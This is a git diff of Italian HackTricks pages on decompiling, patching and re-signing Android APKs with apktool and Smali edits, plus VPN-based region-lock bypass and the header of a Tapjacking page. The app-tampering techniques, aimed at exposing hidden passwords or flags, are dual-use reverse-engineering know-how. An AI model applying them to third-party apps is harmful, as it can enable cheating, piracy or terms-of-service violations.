* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,29 @@
|
||||||
# Smali - Decompilazione/\[Modifica]/Compilazione
|
# Smali - Decompiling/\[Modifying]/Compiling
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
A volte è interessante modificare il codice dell'applicazione per accedere a informazioni nascoste (come password o flag ben oscurati). In tal caso, potrebbe essere interessante decompilare l'apk, modificare il codice e ricompilarlo.
|
A volte è interessante modificare il codice dell'applicazione per accedere a informazioni nascoste per te (forse password o flag ben offuscate). Quindi, potrebbe essere interessante decompilare l'apk, modificare il codice e ricompilarlo.
|
||||||
|
|
||||||
**Riferimento agli opcode:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
**Riferimento Opcode:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
||||||
|
|
||||||
## Metodo Veloce
|
## Modo Veloce
|
||||||
|
|
||||||
Utilizzando **Visual Studio Code** e l'estensione [APKLab](https://github.com/APKLab/APKLab), puoi **decompilare**, modificare, **ricompilare**, firmare e installare automaticamente l'applicazione senza eseguire alcun comando.
|
Utilizzando **Visual Studio Code** e l'estensione [APKLab](https://github.com/APKLab/APKLab), puoi **decompilare automaticamente**, modificare, **ricompilare**, firmare e installare l'applicazione senza eseguire alcun comando.
|
||||||
|
|
||||||
Un altro **script** che semplifica molto questa operazione è [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
Un altro **script** che facilita molto questo compito è [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
||||||
|
|
||||||
## Decompilare l'APK
|
## Decompilare l'APK
|
||||||
|
|
||||||
|
@ -30,60 +31,60 @@ Utilizzando APKTool puoi accedere al **codice smali e alle risorse**:
|
||||||
```bash
|
```bash
|
||||||
apktool d APP.apk
|
apktool d APP.apk
|
||||||
```
|
```
|
||||||
Se **apktool** ti dà un errore, prova a [installare l'**ultima versione**](https://ibotpeaches.github.io/Apktool/install/)
|
Se **apktool** ti dà qualche errore, prova a [installare la **versione più recente**](https://ibotpeaches.github.io/Apktool/install/)
|
||||||
|
|
||||||
Alcuni **file interessanti a cui dovresti dare un'occhiata sono**:
|
Alcuni **file interessanti da esaminare sono**:
|
||||||
|
|
||||||
* _res/values/strings.xml_ (e tutti gli xml all'interno di res/values/\*)
|
* _res/values/strings.xml_ (e tutti gli xml all'interno di res/values/\*)
|
||||||
* _AndroidManifest.xml_
|
* _AndroidManifest.xml_
|
||||||
* Qualsiasi file con estensione _.sqlite_ o _.db_
|
* Qualsiasi file con estensione _.sqlite_ o _.db_
|
||||||
|
|
||||||
Se `apktool` ha **problemi nel decodificare l'applicazione**, dai un'occhiata a [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) o prova ad utilizzare l'argomento **`-r`** (Non decodificare le risorse). In questo modo, se il problema era nelle risorse e non nel codice sorgente, non avrai il problema (non decompilerai nemmeno le risorse).
|
Se `apktool` ha **problemi a decodificare l'applicazione**, dai un'occhiata a [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) o prova a usare l'argomento **`-r`** (Non decodificare le risorse). Poi, se il problema era in una risorsa e non nel codice sorgente, non avrai il problema (non decompilando nemmeno le risorse).
|
||||||
|
|
||||||
## Modifica del codice Smali
|
## Cambiare il codice smali
|
||||||
|
|
||||||
Puoi **modificare** le **istruzioni**, cambiare il **valore** di alcune variabili o **aggiungere** nuove istruzioni. Io cambio il codice Smali utilizzando [**VS Code**](https://code.visualstudio.com), quindi installa l'estensione **smalise** e l'editor ti dirà se qualche **istruzione è errata**.\
|
Puoi **cambiare** **istruzioni**, cambiare il **valore** di alcune variabili o **aggiungere** nuove istruzioni. Io cambio il codice Smali usando [**VS Code**](https://code.visualstudio.com), poi installi l'**estensione smalise** e l'editor ti dirà se qualche **istruzione è errata**.\
|
||||||
Alcuni **esempi** possono essere trovati qui:
|
Alcuni **esempi** possono essere trovati qui:
|
||||||
|
|
||||||
* [Esempi di modifiche Smali](smali-changes.md)
|
* [Esempi di cambiamenti Smali](smali-changes.md)
|
||||||
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
|
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
|
||||||
|
|
||||||
Oppure puoi [**controllare di seguito alcune modifiche Smali spiegate**](smali-changes.md#modifying-smali).
|
Oppure puoi [**controllare qui sotto alcuni cambiamenti Smali spiegati**](smali-changes.md#modifying-smali).
|
||||||
|
|
||||||
## Ricompila l'APK
|
## Ricompilare l'APK
|
||||||
|
|
||||||
Dopo aver modificato il codice, puoi **ricompilare** il codice utilizzando:
|
Dopo aver modificato il codice, puoi **ricompilare** il codice usando:
|
||||||
```bash
|
```bash
|
||||||
apktool b . #In the folder generated when you decompiled the application
|
apktool b . #In the folder generated when you decompiled the application
|
||||||
```
|
```
|
||||||
Compilerà il nuovo APK all'interno della cartella _**dist**_.
|
Compilerà il nuovo APK **all'interno** della cartella _**dist**_.
|
||||||
|
|
||||||
Se **apktool** restituisce un **errore**, prova a [installare l'ultima versione](https://ibotpeaches.github.io/Apktool/install/)
|
Se **apktool** genera un **errore**, prova[ a installare la **versione più recente**](https://ibotpeaches.github.io/Apktool/install/)
|
||||||
|
|
||||||
### **Firma il nuovo APK**
|
### **Firma il nuovo APK**
|
||||||
|
|
||||||
Successivamente, devi **generare una chiave** (ti verrà chiesto una password e alcune informazioni che puoi compilare casualmente):
|
Poi, devi **generare una chiave** (ti verrà chiesta una password e alcune informazioni che puoi compilare casualmente):
|
||||||
```bash
|
```bash
|
||||||
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
|
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
|
||||||
```
|
```
|
||||||
Infine, **firma** il nuovo APK:
|
Finalmente, **firma** il nuovo APK:
|
||||||
```bash
|
```bash
|
||||||
jarsigner -keystore key.jks path/to/dist/* <your-alias>
|
jarsigner -keystore key.jks path/to/dist/* <your-alias>
|
||||||
```
|
```
|
||||||
### Ottimizza nuova applicazione
|
### Ottimizza una nuova applicazione
|
||||||
|
|
||||||
**zipalign** è uno strumento di allineamento degli archivi che fornisce importanti ottimizzazioni ai file delle applicazioni Android (APK). [Maggiori informazioni qui](https://developer.android.com/studio/command-line/zipalign).
|
**zipalign** è uno strumento di allineamento degli archivi che fornisce importanti ottimizzazioni ai file delle applicazioni Android (APK). [Maggiori informazioni qui](https://developer.android.com/studio/command-line/zipalign).
|
||||||
```bash
|
```bash
|
||||||
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
|
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
|
||||||
zipalign -v 4 infile.apk
|
zipalign -v 4 infile.apk
|
||||||
```
|
```
|
||||||
### **Firma il nuovo APK (ancora?)**
|
### **Firma il nuovo APK (di nuovo?)**
|
||||||
|
|
||||||
Se **preferisci** utilizzare [**apksigner**](https://developer.android.com/studio/command-line/) invece di jarsigner, **dovresti firmare l'apk** dopo aver applicato **l'ottimizzazione con** zipalign. MA NOTA CHE DEVI **FIRMARE L'APPLICAZIONE UNA SOLA VOLTA** CON jarsigner (prima di zipalign) O CON apksigner (dopo zipalign).
|
Se **preferisci** utilizzare [**apksigner**](https://developer.android.com/studio/command-line/) invece di jarsigner, **dovresti firmare l'apk** dopo aver applicato **l'ottimizzazione con** zipalign. MA FAI ATTENZIONE CHE DEVI **FIRMARE L'APPLICAZIONE UNA SOLA VOLTA** CON jarsigner (prima di zipalign) O CON apksigner (dopo zipalign).
|
||||||
```bash
|
```bash
|
||||||
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
||||||
```
|
```
|
||||||
## Modifica di Smali
|
## Modifying Smali
|
||||||
|
|
||||||
Per il seguente codice Java Hello World:
|
Per il seguente codice Java Hello World:
|
||||||
```java
|
```java
|
||||||
|
@ -101,13 +102,13 @@ invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
|
||||||
return-void
|
return-void
|
||||||
.end method
|
.end method
|
||||||
```
|
```
|
||||||
L'insieme di istruzioni Smali è disponibile [qui](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
|
Il set di istruzioni Smali è disponibile [qui](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
|
||||||
|
|
||||||
### Modifiche leggere
|
### Modifiche leggere
|
||||||
|
|
||||||
### Modifica dei valori iniziali di una variabile all'interno di una funzione
|
### Modificare i valori iniziali di una variabile all'interno di una funzione
|
||||||
|
|
||||||
Alcune variabili vengono definite all'inizio della funzione utilizzando l'opcode _const_, è possibile modificare i loro valori o definirne di nuove:
|
Alcune variabili sono definite all'inizio della funzione utilizzando l'opcode _const_, puoi modificare i loro valori, oppure puoi definirne di nuovi:
|
||||||
```bash
|
```bash
|
||||||
#Number
|
#Number
|
||||||
const v9, 0xf4240
|
const v9, 0xf4240
|
||||||
|
@ -116,44 +117,6 @@ const/4 v8, 0x1
|
||||||
const-string v5, "wins"
|
const-string v5, "wins"
|
||||||
```
|
```
|
||||||
### Operazioni di base
|
### Operazioni di base
|
||||||
|
|
||||||
#### Modifica del codice Smali
|
|
||||||
|
|
||||||
Il codice Smali è il linguaggio di assemblaggio utilizzato per le applicazioni Android. Per effettuare modifiche al codice Smali, è possibile seguire i seguenti passaggi:
|
|
||||||
|
|
||||||
1. Decomprimere l'applicazione Android utilizzando uno strumento come apktool.
|
|
||||||
2. Navigare nella directory dell'applicazione decompressa e individuare la cartella `smali`, che contiene i file Smali.
|
|
||||||
3. Aprire il file Smali corrispondente alla classe che si desidera modificare utilizzando un editor di testo.
|
|
||||||
4. Effettuare le modifiche necessarie al codice Smali.
|
|
||||||
5. Salvare il file Smali modificato.
|
|
||||||
6. Ricompilare l'applicazione utilizzando apktool o un altro strumento simile.
|
|
||||||
7. Firmare l'applicazione con una chiave valida.
|
|
||||||
8. Installare l'applicazione modificata sul dispositivo Android di destinazione per testarla.
|
|
||||||
|
|
||||||
#### Modifica delle risorse
|
|
||||||
|
|
||||||
Le risorse di un'applicazione Android, come immagini, layout e stringhe, possono essere modificate per personalizzare l'aspetto e il comportamento dell'applicazione. Per effettuare modifiche alle risorse di un'applicazione Android, è possibile seguire i seguenti passaggi:
|
|
||||||
|
|
||||||
1. Decomprimere l'applicazione Android utilizzando uno strumento come apktool.
|
|
||||||
2. Navigare nella directory dell'applicazione decompressa e individuare la cartella `res`, che contiene le risorse.
|
|
||||||
3. Modificare le risorse desiderate, ad esempio sostituendo un'immagine o modificando una stringa nel file XML corrispondente.
|
|
||||||
4. Salvare le modifiche apportate alle risorse.
|
|
||||||
5. Ricompilare l'applicazione utilizzando apktool o un altro strumento simile.
|
|
||||||
6. Firmare l'applicazione con una chiave valida.
|
|
||||||
7. Installare l'applicazione modificata sul dispositivo Android di destinazione per testarla.
|
|
||||||
|
|
||||||
#### Modifica delle autorizzazioni
|
|
||||||
|
|
||||||
Le autorizzazioni di un'applicazione Android determinano l'accesso alle risorse e alle funzionalità del dispositivo. Per modificare le autorizzazioni di un'applicazione Android, è possibile seguire i seguenti passaggi:
|
|
||||||
|
|
||||||
1. Decomprimere l'applicazione Android utilizzando uno strumento come apktool.
|
|
||||||
2. Navigare nella directory dell'applicazione decompressa e individuare il file `AndroidManifest.xml`, che contiene le informazioni sull'applicazione.
|
|
||||||
3. Aprire il file `AndroidManifest.xml` utilizzando un editor di testo.
|
|
||||||
4. Modificare le autorizzazioni desiderate, ad esempio aggiungendo o rimuovendo le dichiarazioni di autorizzazione.
|
|
||||||
5. Salvare il file `AndroidManifest.xml` modificato.
|
|
||||||
6. Ricompilare l'applicazione utilizzando apktool o un altro strumento simile.
|
|
||||||
7. Firmare l'applicazione con una chiave valida.
|
|
||||||
8. Installare l'applicazione modificata sul dispositivo Android di destinazione per testarla.
|
|
||||||
```bash
|
```bash
|
||||||
#Math
|
#Math
|
||||||
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
|
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
|
||||||
|
@ -176,9 +139,9 @@ iput v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Save v0 inside
|
||||||
if-ne v0, v9, :goto_6 #If not equals, go to: :goto_6
|
if-ne v0, v9, :goto_6 #If not equals, go to: :goto_6
|
||||||
goto :goto_6 #Always go to: :goto_6
|
goto :goto_6 #Always go to: :goto_6
|
||||||
```
|
```
|
||||||
### Cambiamenti importanti
|
### Cambiamenti Maggiori
|
||||||
|
|
||||||
### Registrazione degli eventi
|
### Registrazione
|
||||||
```bash
|
```bash
|
||||||
#Log win: <number>
|
#Log win: <number>
|
||||||
iget v5, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Get this.o inside v5
|
iget v5, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Get this.o inside v5
|
||||||
|
@ -189,17 +152,17 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
|
||||||
```
|
```
|
||||||
Raccomandazioni:
|
Raccomandazioni:
|
||||||
|
|
||||||
* Se stai per utilizzare variabili dichiarate all'interno della funzione (dichiarate v0,v1,v2...), inserisci queste righe tra _.local \<numero>_ e le dichiarazioni delle variabili (_const v0, 0x1_)
|
* Se intendi utilizzare variabili dichiarate all'interno della funzione (dichiarate v0,v1,v2...) inserisci queste righe tra il _.local \<numero>_ e le dichiarazioni delle variabili (_const v0, 0x1_)
|
||||||
* Se desideri inserire il codice di registrazione nel mezzo del codice di una funzione:
|
* Se vuoi inserire il codice di logging nel mezzo del codice di una funzione:
|
||||||
* Aggiungi 2 al numero delle variabili dichiarate: Es: da _.locals 10_ a _.locals 12_
|
* Aggiungi 2 al numero di variabili dichiarate: Es: da _.locals 10_ a _.locals 12_
|
||||||
* Le nuove variabili dovrebbero essere i numeri successivi delle variabili già dichiarate (in questo esempio dovrebbero essere _v10_ e _v11_, ricorda che inizia da v0).
|
* Le nuove variabili dovrebbero essere i numeri successivi delle variabili già dichiarate (in questo esempio dovrebbero essere _v10_ e _v11_, ricorda che inizia con v0).
|
||||||
* Modifica il codice della funzione di registrazione e utilizza _v10_ e _v11_ al posto di _v5_ e _v1_.
|
* Cambia il codice della funzione di logging e usa _v10_ e _v11_ invece di _v5_ e _v1_.
|
||||||
|
|
||||||
### Toasting
|
### Toasting
|
||||||
|
|
||||||
Ricorda di aggiungere 3 al numero di _.locals_ all'inizio della funzione.
|
Ricorda di aggiungere 3 al numero di _.locals_ all'inizio della funzione.
|
||||||
|
|
||||||
Questo codice è preparato per essere inserito nel **mezzo di una funzione** (**cambia** il numero delle **variabili** come necessario). Prenderà il **valore di this.o**, lo **trasformerà** in **Stringa** e quindi **creerà** un **toast** con il suo valore.
|
Questo codice è preparato per essere inserito nel **mezzo di una funzione** (**cambia** il numero delle **variabili** come necessario). Prenderà il **valore di this.o**, **trasformerà** in **String** e poi **farà** un **toast** con il suo valore.
|
||||||
```bash
|
```bash
|
||||||
const/4 v10, 0x1
|
const/4 v10, 0x1
|
||||||
const/4 v11, 0x1
|
const/4 v11, 0x1
|
||||||
|
@ -211,16 +174,17 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
|
||||||
move-result-object v12
|
move-result-object v12
|
||||||
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,57 +1,28 @@
|
||||||
<details>
|
In situazioni in cui un'applicazione è limitata a determinati paesi e non puoi installarla sul tuo dispositivo Android a causa di limitazioni regionali, falsificare la tua posizione in un paese in cui l'app è disponibile può darti accesso. I passaggi seguenti descrivono come farlo:
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
1. **Installa Hotspot Shield Free VPN Proxy:**
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
||||||
In situazioni in cui un'applicazione è limitata a determinati paesi e non è possibile installarla sul tuo dispositivo Android a causa di limitazioni regionali, falsificare la tua posizione in un paese in cui l'app è disponibile può garantirti l'accesso. I passaggi seguenti illustrano come fare ciò:
|
|
||||||
|
|
||||||
1. **Installare Hotspot Shield Free VPN Proxy:**
|
|
||||||
- Inizia scaricando e installando Hotspot Shield Free VPN Proxy dal Google Play Store.
|
- Inizia scaricando e installando Hotspot Shield Free VPN Proxy dal Google Play Store.
|
||||||
|
|
||||||
2. **Connettersi a un server VPN:**
|
2. **Connettiti a un server VPN:**
|
||||||
- Apri l'applicazione Hotspot Shield.
|
- Apri l'applicazione Hotspot Shield.
|
||||||
- Connettiti a un server VPN selezionando il paese in cui è disponibile l'applicazione a cui desideri accedere.
|
- Connettiti a un server VPN selezionando il paese in cui l'applicazione che desideri accedere è disponibile.
|
||||||
|
|
||||||
3. **Cancellare i dati del Google Play Store:**
|
3. **Cancella i dati di Google Play Store:**
|
||||||
- Vai alle **Impostazioni** del tuo dispositivo.
|
- Naviga nelle **Impostazioni** del tuo dispositivo.
|
||||||
- Procedi a **App** o **Gestione applicazioni** (questo può variare a seconda del dispositivo).
|
- Procedi a **App** o **Gestore applicazioni** (questo può variare a seconda del tuo dispositivo).
|
||||||
- Trova e seleziona **Google Play Store** dall'elenco delle app.
|
- Trova e seleziona **Google Play Store** dall'elenco delle app.
|
||||||
- Tocca **Forza arresto** per terminare eventuali processi in esecuzione dell'app.
|
- Tocca su **Arresta forzatamente** per terminare eventuali processi in esecuzione dell'app.
|
||||||
- Tocca quindi **Cancella dati** o **Cancella archivio** (le parole esatte possono variare) per ripristinare l'app Google Play Store allo stato predefinito.
|
- Poi tocca su **Cancella dati** o **Cancella archiviazione** (la formulazione esatta può variare) per ripristinare l'app Google Play Store al suo stato predefinito.
|
||||||
|
|
||||||
4. **Accedere all'applicazione limitata:**
|
4. **Accedi all'applicazione limitata:**
|
||||||
- Apri il **Google Play Store**.
|
- Apri il **Google Play Store**.
|
||||||
- Lo store dovrebbe ora riflettere il contenuto del paese a cui ti sei connesso tramite VPN.
|
- Il negozio dovrebbe ora riflettere il contenuto del paese a cui ti sei connesso tramite la VPN.
|
||||||
- Dovresti essere in grado di cercare e installare l'applicazione che precedentemente non era disponibile nella tua posizione effettiva.
|
- Dovresti essere in grado di cercare e installare l'applicazione che era precedentemente non disponibile nella tua posizione attuale.
|
||||||
|
|
||||||
### Note importanti:
|
### Note importanti:
|
||||||
- L'efficacia di questo metodo può variare in base a diversi fattori, tra cui l'affidabilità del servizio VPN e le specifiche restrizioni regionali imposte dall'app.
|
- L'efficacia di questo metodo può variare in base a diversi fattori, tra cui l'affidabilità del servizio VPN e le specifiche restrizioni regionali imposte dall'app.
|
||||||
- L'utilizzo regolare di una VPN potrebbe influire sulle prestazioni di alcune app e servizi.
|
- L'uso regolare di una VPN può influenzare le prestazioni di alcune app e servizi.
|
||||||
- Tieni presente i termini di servizio di qualsiasi app o servizio che stai utilizzando, poiché l'utilizzo di una VPN per aggirare le restrizioni regionali potrebbe violare tali termini.
|
- Fai attenzione ai termini di servizio di qualsiasi app o servizio che stai utilizzando, poiché utilizzare una VPN per bypassare le restrizioni regionali potrebbe violare tali termini.
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
|
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,42 +1,43 @@
|
||||||
# Tapjacking
|
# Tapjacking
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
